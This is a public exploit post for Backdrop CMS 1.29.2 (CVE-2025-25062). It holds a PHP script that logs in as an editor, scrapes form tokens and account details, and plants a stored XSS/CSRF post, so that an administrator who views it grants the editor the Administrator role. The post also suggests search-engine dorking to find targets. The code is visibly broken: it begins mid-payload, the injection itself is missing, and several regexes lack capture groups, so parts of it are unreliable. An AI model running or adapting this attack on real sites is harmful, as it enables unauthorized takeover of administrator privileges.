=============================================================================================================================================
| # Title : Backdrop CMS 1.29.2 Privilege Escalation
|
| # Author : indoushka
|
| # Tested on : windows 10 Fr(Pro) / browser : Mozilla firefox 136.0.0 (64
bits) |
| # Vendor : https://backdropcms.org/releases/backdrop-1292
|
=============================================================================================================================================
POC :
[+] Dorking İn Google Or Other Search Enggine.
[+] Code Description: Privilege Escalation via Stored XSS and CSRF in
Backdrop CMS .
(Related : https://packetstorm.news/files/id/189006/ Related CVE
numbers: CVE-2025-25062 ) .
[+] save code as poc.php.
[+] Set Target : line 5.
[+] Usage : php poc.php
[+] PayLoad :
";
return $post_html_body . $injection;
}
// دالة لإنشاء المنشور
function create_post($backdrop_url, $editor_username, $post_title,
$html_body) {
global $session;
$response = curl_get_request($backdrop_url . "/?q=node/add/post");
preg_match('/name="form_build_id" value="([^"]*)"/', $response,
$matches);
if (isset($matches[1])) {
$form_build_id = $matches[1];
} else {
die("Form build ID not found.");
}
preg_match('/name="form_token" value="([^"]*)"/', $response, $matches);
if (isset($matches[1])) {
$form_token = $matches[1];
} else {
die("Form token not found.");
}
$now = date("Y-m-d H:i:s");
$data = [
'title' => $post_title,
'field_tags[und]' => '',
'body[und][0][value]' => $html_body,
'body[und][0][format]' => 'filtered_html',
'form_build_id' => $form_build_id,
'form_token' => $form_token,
'form_id' => 'post_node_form',
'status' => '1',
'scheduled[date]' => date('Y-m-d'),
'scheduled[time]' => date('H:i:s'),
'promote' => '1',
'name' => $editor_username,
'date[date]' => date('Y-m-d'),
'date[time]' => date('H:i:s'),
'op' => 'Save'
];
$response = curl_post_request($backdrop_url . "/?q=node/add/post",
$data);
preg_match('/Edit<\/a>/', $response,
$matches);
if (isset($matches[1])) {
$edit_url = $backdrop_url . $matches[1];
} else {
die("Edit URL not found.");
}
return $edit_url;
}
// دالة لجلب تفاصيل الحساب
function get_account_details($backdrop_url) {
global $session;
$response = curl_get_request($backdrop_url . "/?q=accounts/editor");
preg_match('/Edit<\/a>/', $response,
$matches);
if (isset($matches[1])) {
$editor_user_id = $matches[1];
} else {
die("Editor user ID not found.");
}
$response = curl_get_request($backdrop_url .
"/?q=/user/{$editor_user_id}/edit");
preg_match('/name="mail" value="([^"]*)"/', $response, $matches);
if (isset($matches[1])) {
$editor_email = $matches[1];
} else {
die("Editor email not found.");
}
return [$editor_user_id, $editor_email];
}
// دالة لتسجيل الدخول
function login($backdrop_url, $editor_username, $editor_password) {
global $session;
$response = curl_get_request($backdrop_url . "/?q=user/login");
preg_match('/name="form_build_id" value="([^"]*)"/', $response,
$matches);
if (isset($matches[1])) {
$form_build_id = $matches[1];
} else {
die("Form build ID not found during login.");
}
$data = [
'name' => $editor_username,
'pass' => $editor_password,
'form_build_id' => $form_build_id,
'form_id' => 'user_login',
'op' => 'Log in'
];
$response = curl_post_request($backdrop_url . "/?q=user/login", $data);
}
// دالة لعمل الطلب GET
function curl_get_request($url) {
global $session;
curl_setopt($session, CURLOPT_URL, $url);
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
return curl_exec($session);
}
// دالة لعمل الطلب POST
function curl_post_request($url, $data) {
global $session;
curl_setopt($session, CURLOPT_URL, $url);
curl_setopt($session, CURLOPT_RETURNTRANSFER, true);
curl_setopt($session, CURLOPT_POST, true);
curl_setopt($session, CURLOPT_POSTFIELDS, $data);
return curl_exec($session);
}
// الشيفرة الرئيسية
$editor_username = "editor";
$editor_password = "password";
$post_title = "Test Post";
$backdrop_url = "http://localhost";
login($backdrop_url, $editor_username, $editor_password);
list($editor_user_id, $editor_email) = get_account_details($backdrop_url);
$html_body = construct_payload("", $editor_user_id, $editor_username,
$editor_email);
$edit_url = create_post($backdrop_url, $editor_username, $post_title,
$html_body);
echo "Once an Admin visits the following URL, you'll be granted the
'Administrator' role: {$edit_url}\n";
?>
Greetings to
:=====================================================================================
jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln
(John Page aka hyp3rlinx)|
===================================================================================================